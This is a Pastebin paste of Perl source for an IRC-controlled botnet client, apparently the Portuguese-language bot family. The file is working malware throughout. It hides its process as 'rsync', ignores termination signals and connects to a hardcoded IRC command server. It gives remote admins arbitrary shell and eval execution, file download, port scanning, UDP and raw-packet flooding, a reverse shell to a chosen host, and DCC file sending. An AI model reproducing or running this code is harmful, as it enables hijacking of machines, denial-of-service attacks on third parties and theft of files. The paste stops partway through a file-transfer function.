Advertisement
Guest User

Untitled

a guest
Jul 18th, 2019
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 26.33 KB | None | 0 0
  1.  
  2. my $processo = 'rsync';
  3.  
  4. $servidor='146.185.171.227' unless $servidor;
  5. my $porta='443';
  6. my @canais=("#root");
  7. my @adms=("A","X");
  8. my @auth=("localhost");
  9.  
  10. my $linas_max=6;
  11. my $sleep=3;
  12.  
  13. my $nick = getnick();
  14. my $ircname = getnick();
  15. my $realname = (`uname -a`);
  16.  
  17. my $acessoshell = 1;
  18. my $prefixo = "! ";
  19. my $estatisticas = 0;
  20. my $pacotes = 1;
  21.  
  22. my $VERSAO = '0.2a';
  23.  
  24. $SIG{'INT'} = 'IGNORE';
  25. $SIG{'HUP'} = 'IGNORE';
  26. $SIG{'TERM'} = 'IGNORE';
  27. $SIG{'CHLD'} = 'IGNORE';
  28. $SIG{'PS'} = 'IGNORE';
  29.  
  30. use IO::Socket;
  31. use Socket;
  32. use IO::Select;
  33. chdir("/");
  34. $servidor="$ARGV[0]" if $ARGV[0];
  35. $0="$processo"."\0";
  36. my $pid=fork;
  37. exit if $pid;
  38. die "Problema com o fork: $!" unless defined($pid);
  39.  
  40. my %irc_servers;
  41. my %DCC;
  42. my $dcc_sel = new IO::Select->new();
  43.  
  44.  
  45.  
  46.  
  47. sub getnick {
  48.   return "x".int(rand(9999))."-".int(rand(9999));
  49. }
  50.  
  51.  
  52. sub getident {
  53.   my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  54.   my $identchance = int(rand(1000));
  55.   if ($identchance > 30) {
  56.      return $nick;
  57.   } else {
  58.      return $retornoident;
  59.   }
  60.   return $retornoident;
  61. }
  62.  
  63. sub getname {
  64.   my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  65.   return $retornoname;
  66. }
  67.  
  68. sub getident2 {
  69.         my $length=shift;
  70.         $length = 3 if ($length < 3);
  71.  
  72.         my @chars=('a'..'z','A'..'Z','1'..'9');
  73.         foreach (1..$length)
  74.         {
  75.                 $randomstring.=$chars[rand @chars];
  76.         }
  77.         return $randomstring;
  78. }
  79.  
  80. sub getstore ($$)
  81. {
  82.   my $url = shift;
  83.   my $file = shift;
  84.  
  85.   $http_stream_out = 1;
  86.   open(GET_OUTFILE, "> $file");
  87.   %http_loop_check = ();
  88.   _get($url);
  89.   close GET_OUTFILE;
  90.   return $main::http_get_result;
  91. }
  92.  
  93. sub _get
  94. {
  95.   my $url = shift;
  96.   my $proxy = "";
  97.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  98.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  99.     my $host = $1;
  100.     my $port = $2 || 80;
  101.     my $path = $3;
  102.     $path = "/" unless defined($path);
  103.     return _trivial_http_get($host, $port, $path);
  104.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  105.     my $host = $1;
  106.     my $port = $2;
  107.     my $path = $url;
  108.     return _trivial_http_get($host, $port, $path);
  109.   } else {
  110.     return undef;
  111.   }
  112. }
  113.  
  114.  
  115. sub _trivial_http_get
  116. {
  117.   my($host, $port, $path) = @_;
  118.   my($AGENT, $VERSION, $p);
  119.  
  120.   $AGENT = "get-minimal";
  121.   $VERSION = "20000118";
  122.  
  123.   $path =~ s/ /%20/g;
  124.  
  125.   require IO::Socket;
  126.   local($^W) = 0;
  127.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  128.                                    PeerPort => $port,
  129.                                    Proto   => 'tcp',
  130.                                    Timeout  => 60) || return;
  131.   $sock->autoflush;
  132.   my $netloc = $host;
  133.   $netloc .= ":$port" if $port != 80;
  134.   my $request = "GET $path HTTP/1.0\015\012"
  135.               . "Host: $netloc\015\012"
  136.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  137.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  138.   $request .= "\015\012";
  139.   print $sock $request;
  140.  
  141.   my $buf = "";
  142.   my $n;
  143.   my $b1 = "";
  144.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  145.     if ($b1 eq "") {
  146.       $b1 = $buf;        
  147.       $buf =~ s/.+?\015?\012\015?\012//s;      
  148.     }
  149.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  150.   }
  151.   return undef unless defined($n);
  152.  
  153.   $main::http_get_result = 200;
  154.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  155.     $main::http_get_result = $1;
  156.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  157. ) {
  158.       my $url = $1;
  159.       return undef if $http_loop_check{$url}++;
  160.       return _get($url);
  161.     }
  162.     return undef unless $main::http_get_result =~ /^2/;
  163.   }
  164.  
  165.   return $buf;
  166. }
  167.  
  168.  
  169. $sel_cliente = IO::Select->new();
  170. sub sendraw {
  171.   if ($#_ == '1') {
  172.     my $socket = $_[0];
  173.     print $socket "$_[1]\n";
  174.   } else {
  175.       print $IRC_cur_socket "$_[0]\n";
  176.   }
  177. }
  178.  
  179. sub conectar {
  180.    my $meunick = $_[0];
  181.    my $servidor_con = $_[1];
  182.    my $porta_con = $_[2];
  183.  
  184.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  185.    if (defined($IRC_socket)) {
  186.      $IRC_cur_socket = $IRC_socket;
  187.  
  188.      $IRC_socket->autoflush(1);
  189.      $sel_cliente->add($IRC_socket);
  190.  
  191.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  192.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  193.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  194.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  195.      nick("$meunick");
  196.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  197.      sleep 2;
  198.    }
  199.  
  200. }
  201. my $line_temp;
  202. while( 1 ) {
  203.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  204.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  205.    &DCC::connections;
  206.    my @ready = $sel_cliente->can_read(0.6);
  207.    next unless(@ready);
  208.    foreach $fh (@ready) {
  209.      $IRC_cur_socket = $fh;
  210.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  211.      $nread = sysread($fh, $msg, 4096);
  212.      if ($nread == 0) {
  213.         $sel_cliente->remove($fh);
  214.         $fh->close;
  215.         delete($irc_servers{$fh});
  216.      }
  217.      @lines = split (/\n/, $msg);
  218.  
  219.      for(my $c=0; $c<= $#lines; $c++) {
  220.        $line = $lines[$c];
  221.        $line=$line_temp.$line if ($line_temp);
  222.        $line_temp='';
  223.        $line =~ s/\r$//;
  224.        unless ($c == $#lines) {
  225.          parse("$line");
  226.        } else {
  227.            if ($#lines == 0) {
  228.              parse("$line");
  229.            } elsif ($lines[$c] =~ /\r$/) {
  230.                parse("$line");
  231.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  232.                parse("$line");
  233.            } else {
  234.                $line_temp = $line;
  235.            }
  236.        }
  237.       }
  238.    }
  239. }
  240.  
  241. sub parse {
  242.    my $servarg = shift;
  243.    if ($servarg =~ /^PING \:(.*)/) {
  244.      sendraw("PONG :$1");
  245.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  246.        my $pn=$1; my $onde = $4; my $args = $5;
  247.        if ($args =~ /^\001VERSION\001$/) {
  248.          notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  249.        }
  250.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  251.          notice("$pn", "\001PONG\001");
  252.        }
  253.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  254.          if ($onde eq "$meunick"){
  255.            shell("$pn", "$args");
  256.            }
  257.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  258.             my $natrix = $1;
  259.             my $arg = $2;
  260.             if ($arg =~ /^\!(.*)/) {
  261.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  262.             } elsif ($arg =~ /^\@(.*)/) {
  263.                 $ondep = $onde;
  264.                 $ondep = $pn if $onde eq $meunick;
  265.                 bfunc("$ondep","$1");
  266.             } else {
  267.                 shell("$onde", "$arg");
  268.             }
  269.          }
  270.        }
  271.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  272.        if (lc($1) eq lc($meunick)) {
  273.          $meunick=$4;
  274.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  275.        }
  276.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  277.        $meunick = getnick();
  278.        nick("$meunick");
  279.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  280.        $meunick = $2;
  281.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  282.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  283.        foreach my $canal (@canais) {
  284.          sendraw("JOIN $canal");
  285.        }
  286.    }
  287. }
  288.  
  289. sub bfunc {
  290.   my $printl = $_[0];
  291.   my $funcarg = $_[1];
  292.   if (my $pid = fork) {
  293.      waitpid($pid, 0);
  294.   } else {
  295.       if (fork) {
  296.          exit;
  297.        } else {
  298.            if ($funcarg =~ /^portscan (.*)/) {
  299.              my $hostip="$1";
  300.              my @portas=("21","22","23","25","53","80","110","143","6665");
  301.              my (@aberta, %porta_banner);
  302.              foreach my $porta (@portas)  {
  303.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  304.                 if ($scansock) {
  305.                    push (@aberta, $porta);
  306.                    $scansock->close;
  307.                 }
  308.              }
  309.              if (@aberta) {
  310.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  311.              } else {
  312.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  313.              }
  314.            }
  315.  
  316.            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  317.             getstore("$1", "$2");
  318.             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  319.             }
  320.  
  321.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  322.              my $hostname="$1";
  323.              my $portainicial = "$2";
  324.              my $portafinal = "$3";
  325.              my (@abertas, %porta_banner);
  326.              foreach my $porta ($portainicial..$portafinal)
  327.              {
  328.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  329.                if ($scansock) {
  330.                  push (@abertas, $porta);
  331.                  $scansock->close;
  332.                  if ($estatisticas) {
  333.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  334.                  }
  335.                }
  336.              }
  337.              if (@abertas) {
  338.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  339.              } else {
  340.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  341.              }
  342.             }
  343.  
  344.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  345.               return unless $pacotes;
  346.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  347.               my $alvo=inet_aton("$1");
  348.               my $porta = "$2";
  349.               my $tempo = "$3";
  350.               my $pacote;
  351.               my $pacotese;
  352.               my $fim = time + $tempo;
  353.               my $pacota = 1;
  354.               while (($pacota == "1") && ($pacotes == "1")) {
  355.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  356.                 $pacote=$rand x $rand x $rand;
  357.                 $porta = int(rand 65000) +1 if ($porta == "0");
  358.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  359.               }
  360.               if ($estatisticas)
  361.               {
  362.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  363.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  364.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  365.               }
  366.             }
  367.  
  368.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  369.               return unless $pacotes;
  370.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  371.               my $faixaip="$1";
  372.               my $porta = "$2";
  373.               my $tempo = "$3";
  374.               my $pacote;
  375.               my $pacotes;
  376.               my $fim = time + $tempo;
  377.               my $pacota = 1;
  378.               my $alvo;
  379.               while ($pacota == "1") {
  380.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  381.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  382.                   $alvo = inet_aton("$faixaip.$faixa");
  383.                   $pacote=$rand x $rand x $rand;
  384.                   $porta = int(rand 65000) +1 if ($porta == "0");
  385.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  386.                   if ($faixa >= 255) {
  387.                     $faixa = 1;
  388.                   }
  389.                 }
  390.               }
  391.               if ($estatisticas)
  392.               {
  393.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  394.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  395.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  396.               }
  397.             }
  398.  
  399.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  400.               my $host = "$1";
  401.               my $porta = "$2";
  402.               my $proto = getprotobyname('tcp');
  403.               my $iaddr = inet_aton($host);
  404.               my $paddr = sockaddr_in($porta, $iaddr);
  405.               my $shell = "/bin/sh -i";
  406.               if ($^O eq "MSWin32") {
  407.                 $shell = "cmd.exe";
  408.               }
  409.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  410.               connect(SOCKET, $paddr) or die "connect: $!";
  411.               open(STDIN, ">&SOCKET");
  412.               open(STDOUT, ">&SOCKET");
  413.               open(STDERR, ">&SOCKET");
  414.               system("$shell");
  415.               close(STDIN);
  416.               close(STDOUT);
  417.               close(STDERR);
  418.  
  419.               if ($estatisticas)
  420.               {
  421.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  422.               }
  423.             }
  424.  
  425.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  426.             return unless $pacotes;
  427.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  428.              $dtime = 1 if $dtime == 0;
  429.              my %bytes;
  430.              $bytes{igmp} = $2 * $pacotes{igmp};
  431.              $bytes{icmp} = $2 * $pacotes{icmp};
  432.              $bytes{o} = $2 * $pacotes{o};
  433.              $bytes{udp} = $2 * $pacotes{udp};
  434.              $bytes{tcp} = $2 * $pacotes{tcp};
  435.              unless ($estatisticas)
  436.              {
  437.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  438.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  439.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  440.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  441.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  442.              }
  443.            }
  444.            exit;
  445.        }
  446.   }
  447. }
  448.  
  449. sub ircase {
  450.   my ($kem, $printl, $case) = @_;
  451.  
  452.    if ($case =~ /^join (.*)/) {
  453.      j("$1");
  454.    }
  455.    elsif ($case =~ /^part (.*)/) {
  456.       p("$1");
  457.    }
  458.    elsif ($case =~ /^rejoin\s+(.*)/) {
  459.       my $chan = $1;
  460.       if ($chan =~ /^(\d+) (.*)/) {
  461.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  462.           p("$2");
  463.           j("$2");
  464.         }
  465.       } else {
  466.           p("$chan");
  467.           j("$chan");
  468.       }
  469.    }
  470.    elsif ($case =~ /^op/) {
  471.       op("$printl", "$kem") if $case eq "op";
  472.       my $oarg = substr($case, 3);
  473.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  474.    }
  475.    elsif ($case =~ /^deop/) {
  476.       deop("$printl", "$kem") if $case eq "deop";
  477.       my $oarg = substr($case, 5);
  478.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  479.    }
  480.    elsif ($case =~ /^voice/) {
  481.       voice("$printl", "$kem") if $case eq "voice";
  482.       $oarg = substr($case, 6);
  483.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  484.    }
  485.    elsif ($case =~ /^devoice/) {
  486.       devoice("$printl", "$kem") if $case eq "devoice";
  487.       $oarg = substr($case, 8);
  488.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  489.    }
  490.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  491.       msg("$1", "$2");
  492.    }
  493.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  494.       for (my $cf = 1; $cf <= $1; $cf++) {
  495.         msg("$2", "$3");
  496.       }
  497.    }
  498.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  499.       for (my $cf = 1; $cf <= $1; $cf++) {
  500.         ctcp("$2", "$3");
  501.       }
  502.    }
  503.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  504.       ctcp("$1", "$2");
  505.    }
  506.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  507.       invite("$1", "$2");
  508.    }
  509.    elsif ($case =~ /^nick (.*)/) {
  510.       nick("$1");
  511.    }
  512.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  513.        conectar("$2", "$1", 6667);
  514.    }
  515.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  516.       DCC::SEND("$1", "$2");
  517.    }
  518.    elsif ($case =~ /^raw (.*)/) {
  519.       sendraw("$1");
  520.    }
  521.    elsif ($case =~ /^eval (.*)/) {
  522.       eval "$1";
  523.    }
  524.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  525.     sleep int(rand($2));
  526.     j("$1");
  527.    }
  528.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  529.     sleep int(rand($2));
  530.     p("$1");
  531.    }
  532.    elsif ($case =~ /^sair/) {
  533.      quit();
  534.    }
  535.    elsif ($case =~ /^novonick/) {
  536.     my $novonick = getnick();
  537.      nick("$novonick");
  538.    }
  539.    elsif ($case =~ /^estatisticas (.*)/) {
  540.      if ($1 eq "on") {
  541.       $estatisticas = 1;
  542.       msg("$printl", "Estat.sticas ativadas!");
  543.      } elsif ($1 eq "off") {
  544.       $estatisticas = 0;
  545.       msg("$printl", "Estat.sticas desativadas!");
  546.      }
  547.    }
  548.    elsif ($case =~ /^pacotes (.*)/) {
  549.      if ($1 eq "on") {
  550.       $pacotes = 1;
  551.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  552.      } elsif ($1 eq "off") {
  553.       $pacotes = 0;
  554.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  555.      }
  556.    }
  557. }
  558. sub shell {
  559.   return unless $acessoshell;
  560.   my $printl=$_[0];
  561.   my $comando=$_[1];
  562.   if ($comando =~ /cd (.*)/) {
  563.     chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  564.     return;
  565.   }
  566.   elsif ($pid = fork) {
  567.      waitpid($pid, 0);
  568.   } else {
  569.       if (fork) {
  570.          exit;
  571.        } else {
  572.            my @resp=`$comando 2>&1 3>&1`;
  573.            my $c=0;
  574.            foreach my $linha (@resp) {
  575.              $c++;
  576.              chop $linha;
  577.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  578.              if ($c >= "$linas_max") {
  579.                $c=0;
  580.                sleep $sleep;
  581.              }
  582.            }
  583.            exit;
  584.        }
  585.   }
  586. }
  587.  
  588. sub attacker {
  589.   my $iaddr = inet_aton($_[0]);
  590.   my $msg = 'B' x $_[1];
  591.   my $ftime = $_[2];
  592.   my $cp = 0;
  593.   my (%pacotes);
  594.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  595.  
  596.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  597.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  598.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  599.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  600.   return(undef) if $cp == 4;
  601.   my $itime = time;
  602.   my ($cur_time);
  603.   while ( 1 ) {
  604.      for (my $porta = 1; $porta <= 65535; $porta++) {
  605.        $cur_time = time - $itime;
  606.        last if $cur_time >= $ftime;
  607.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  608.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  609.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  610.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  611.  
  612.        for (my $pc = 3; $pc <= 255;$pc++) {
  613.          next if $pc == 6;
  614.          $cur_time = time - $itime;
  615.          last if $cur_time >= $ftime;
  616.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  617.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  618.        }
  619.      }
  620.      last if $cur_time >= $ftime;
  621.   }
  622.   return($cur_time, %pacotes);
  623. }
  624.  
  625.  
  626. sub action {
  627.    return unless $#_ == 1;
  628.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  629. }
  630.  
  631. sub ctcp {
  632.    return unless $#_ == 1;
  633.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  634. }
  635. sub msg {
  636.    return unless $#_ == 1;
  637.    sendraw("PRIVMSG $_[0] :$_[1]");
  638. }
  639.  
  640. sub notice {
  641.    return unless $#_ == 1;
  642.    sendraw("NOTICE $_[0] :$_[1]");
  643. }
  644.  
  645. sub op {
  646.    return unless $#_ == 1;
  647.    sendraw("MODE $_[0] +o $_[1]");
  648. }
  649. sub deop {
  650.    return unless $#_ == 1;
  651.    sendraw("MODE $_[0] -o $_[1]");
  652. }
  653. sub hop {
  654.     return unless $#_ == 1;
  655.    sendraw("MODE $_[0] +h $_[1]");
  656. }
  657. sub dehop {
  658.    return unless $#_ == 1;
  659.    sendraw("MODE $_[0] +h $_[1]");
  660. }
  661. sub voice {
  662.    return unless $#_ == 1;
  663.    sendraw("MODE $_[0] +v $_[1]");
  664. }
  665. sub devoice {
  666.    return unless $#_ == 1;
  667.    sendraw("MODE $_[0] -v $_[1]");
  668. }
  669. sub ban {
  670.    return unless $#_ == 1;
  671.    sendraw("MODE $_[0] +b $_[1]");
  672. }
  673. sub unban {
  674.    return unless $#_ == 1;
  675.    sendraw("MODE $_[0] -b $_[1]");
  676. }
  677. sub kick {
  678.    return unless $#_ == 1;
  679.    sendraw("KICK $_[0] $_[1] :$_[2]");
  680. }
  681.  
  682. sub modo {
  683.    return unless $#_ == 0;
  684.    sendraw("MODE $_[0] $_[1]");
  685. }
  686. sub mode { modo(@_); }
  687.  
  688. sub j { &join(@_); }
  689. sub join {
  690.    return unless $#_ == 0;
  691.    sendraw("JOIN $_[0]");
  692. }
  693. sub p { part(@_); }
  694. sub part {sendraw("PART $_[0]");}
  695.  
  696. sub nick {
  697.   return unless $#_ == 0;
  698.   sendraw("NICK $_[0]");
  699. }
  700.  
  701. sub invite {
  702.    return unless $#_ == 1;
  703.    sendraw("INVITE $_[1] $_[0]");
  704. }
  705. sub topico {
  706.    return unless $#_ == 1;
  707.    sendraw("TOPIC $_[0] $_[1]");
  708. }
  709. sub topic { topico(@_); }
  710.  
  711. sub whois {
  712.   return unless $#_ == 0;
  713.   sendraw("WHOIS $_[0]");
  714. }
  715. sub who {
  716.   return unless $#_ == 0;
  717.   sendraw("WHO $_[0]");
  718. }
  719. sub names {
  720.   return unless $#_ == 0;
  721.   sendraw("NAMES $_[0]");
  722. }
  723. sub away {
  724.   sendraw("AWAY $_[0]");
  725. }
  726. sub back { away(); }
  727. sub quit {
  728.   sendraw("QUIT :$_[0]");
  729.   exit;
  730. }
  731.  
  732. package DCC;
  733.  
  734. sub connections {
  735.    my @ready = $dcc_sel->can_read(1);
  736.    foreach my $fh (@ready) {
  737.      my $dcctipo = $DCC{$fh}{tipo};
  738.      my $arquivo = $DCC{$fh}{arquivo};
  739.      my $bytes = $DCC{$fh}{bytes};
  740.      my $cur_byte = $DCC{$fh}{curbyte};
  741.      my $nick = $DCC{$fh}{nick};
  742.  
  743.      my $msg;
  744.      my $nread = sysread($fh, $msg, 10240);
  745.  
  746.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  747.         $DCC{$fh}{status} = "Cancelado";
  748.         $DCC{$fh}{ftime} = time;
  749.         $dcc_sel->remove($fh);
  750.         $fh->close;
  751.         next;
  752.      }
  753.  
  754.      if ($dcctipo eq "get") {
  755.         $DCC{$fh}{curbyte} += length($msg);
  756.  
  757.         my $cur_byte = $DCC{$fh}{curbyte};
  758.  
  759.         open(FILE, ">> $arquivo");
  760.         print FILE "$msg" if ($cur_byte <= $bytes);
  761.         close(FILE);
  762.  
  763.         my $packbyte = pack("N", $cur_byte);
  764.         print $fh "$packbyte";
  765.  
  766.         if ($bytes == $cur_byte) {
  767.            $dcc_sel->remove($fh);
  768.            $fh->close;
  769.            $DCC{$fh}{status} = "Recebido";
  770.            $DCC{$fh}{ftime} = time;
  771.            next;
  772.         }
  773.      } elsif ($dcctipo eq "send") {
  774.           my $send = $fh->accept;
  775.           $send->autoflush(1);
  776.           $dcc_sel->add($send);
  777.           $dcc_sel->remove($fh);
  778.           $DCC{$send}{tipo} = 'sendcon';
  779.           $DCC{$send}{itime} = time;
  780.           $DCC{$send}{nick} = $nick;
  781.           $DCC{$send}{bytes} = $bytes;
  782.           $DCC{$send}{curbyte} = 0;
  783.           $DCC{$send}{arquivo} = $arquivo;
  784.           $DCC{$send}{ip} = $send->peerhost;
  785.           $DCC{$send}{porta} = $send->peerport;
  786.           $DCC{$send}{status} = "Enviando";
  787.  
  788.           open(FILE, "< $arquivo");
  789.           my $fbytes;
  790.           read(FILE, $fbytes, 1024);
  791.           print $send "$fbytes";
  792.           close FILE;
  793.      } elsif ($dcctipo eq 'sendcon') {
  794.           my $bytes_sended = unpack("N", $msg);
  795.           $DCC{$fh}{curbyte} = $bytes_sended;
  796.           if ($bytes_sended == $bytes) {
  797.              $fh->close;
  798.              $dcc_sel->remove($fh);
  799.              $DCC{$fh}{status} = "Enviado";
  800.              $DCC{$fh}{ftime} = time;
  801.              next;
  802.           }
  803.           open(SENDFILE, "< $arquivo");
  804.           seek(SENDFILE, $bytes_sended, 0);
  805.           my $send_bytes;
  806.           read(SENDFILE, $send_bytes, 1024);
  807.           print $fh "$send_bytes";
  808.           close(SENDFILE);
  809.      }
  810.    }
  811. }
  812.  
  813.  
  814. sub SEND {
  815.   my ($nick, $arquivo) = @_;
  816.   unless (-r "$arquivo") {
  817.     return(0);
  818.   }
  819.  
  820.   my $dccark = $arquivo;
  821.   $dccark =~ s/[.*\/](\S+)/$1/;
  822.  
  823.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  824.   my $longip = unpack("N",inet_aton($meuip));
  825.  
  826.   my @filestat = stat($arquivo);
  827.   my $size_total=$filestat[7];
  828.   if ($size_total == 0) {
  829.      return(0);
  830.   }
  831.  
  832.   my ($porta, $sendsock);
  833.   do {
  834.     $porta = int rand(64511);
  835.     $porta += 1024;
  836.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  837.   } until $sendsock;
  838.  
  839.   $DCC{$sendsock}{tipo} = 'send';
  840.   $DCC{$sendsock}{nick} = $nick;
  841.   $DCC{$sendsock}{bytes} = $size_total;
  842.   $DCC{$sendsock}{arquivo} = $arquivo;
  843.  
  844.  
  845.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  846.  
  847. }
  848.  
  849. sub GET {
  850.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  851.   return(0) if (-e "$arquivo");
  852.   if (open(FILE, "> $arquivo")) {
  853.      close FILE;
  854.   } else {
  855.     return(0);
  856.   }
  857.  
  858.   my $dccip=fixaddr($dcclongip);
